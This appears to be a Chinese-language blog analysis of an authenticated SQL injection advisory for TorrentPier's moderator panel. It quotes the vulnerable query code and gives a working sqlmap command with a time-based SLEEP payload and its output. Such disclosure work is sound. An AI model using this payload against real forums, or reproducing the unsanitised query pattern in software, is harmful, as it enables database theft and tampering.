TorrentPier身份验证SQL注入漏洞分析:通过topic_id参数攻击

本文详细分析了TorrentPier论坛软件中存在的身份验证SQL注入漏洞(CVE-2025-64519),攻击者可通过moderator控制面板的topic_id参数执行任意SQL查询,导致数据泄露、篡改或删除。

TorrentPier身份验证SQL注入漏洞分析

漏洞概述

TorrentPier论坛软件在moderator控制面板(modcp.php)中存在身份验证SQL注入漏洞。拥有moderator权限的用户可通过提交恶意的topic_id(t参数)利用此漏洞,执行任意SQL查询,可能导致数据库中的数据被泄露、修改或删除。

漏洞详情

受影响版本

  • TorrentPier <= 2.8.8

漏洞原理

当modcp.php处理包含topic_id(t参数)的请求时,$topic_id的值直接从用户输入获取,在拼接到SQL查询前未进行适当的清理或参数化处理。

漏洞代码位置

modcp.php文件第111-122行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
if ($topic_id) {
    $sql = "
        SELECT
            f.forum_id, f.forum_name, f.forum_topics, f.self_moderated,
            t.topic_first_post_id, t.topic_poster
        FROM " . BB_TOPICS . " t, " . BB_FORUMS . " f
        WHERE t.topic_id = $topic_id
            AND f.forum_id = t.forum_id
        LIMIT 1
    ";

    if (!$topic_row = DB()->fetch_row($sql)) {
        bb_die($lang['INVALID_TOPIC_ID_DB']);
    }
    // ...
}

WHERE t.topic_id = $topic_id子句中,$topic_id变量直接嵌入到查询字符串中。攻击者可以向t参数注入SQL语法(如布尔逻辑、基于时间的函数)来操纵查询执行。

漏洞验证

前提条件

  • 运行中的TorrentPier实例
  • 具有moderator权限的账户

复现步骤

  1. 以moderator身份登录
  2. 从浏览器开发者工具获取完整的会话cookie字符串
  3. 使用sqlmap自动化利用漏洞

sqlmap命令

1
sqlmap -u "https://localhost/modcp.php?mode=lock&t=1" -p t --cookie "your_full_cookie_string" --dbms mysql --technique T --current-db

验证输出

1
2
3
4
5
6
7
8
9
Parameter: t (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: mode=lock&t=1 AND (SELECT 9461 FROM (SELECT(SLEEP(5)))KxhM)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetching current database
[INFO] retrieved: torrentpier
current database: 'torrentpier'

影响分析

这是一个需要身份验证的SQL注入漏洞,虽然需要moderator权限,但仍然具有严重性。恶意或被入侵的moderator账户可利用此漏洞:

  • 读取敏感数据:从数据库中提取任何信息,包括用户凭据(密码哈希)、私信、电子邮件地址和其他私人数据
  • 修改数据:更改数据库中的记录,如将自身或其他用户的权限提升至管理员级别
  • 删除数据:通过删除表或记录来破坏或销毁论坛数据

技术特征

  • 漏洞类型:基于时间的盲SQL注入
  • 数据库系统:MySQL
  • CVSS评分:8.8(高危)
  • 攻击向量:网络
  • 权限要求:低(moderator权限)
  • 用户交互:无

参考信息

  • GHSA-4rwr-8c3m-55f6
  • CWE-89:SQL命令中使用的特殊元素中和不当(SQL注入)
  • 源代码提交:torrentpier/torrentpier@6a0f649
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计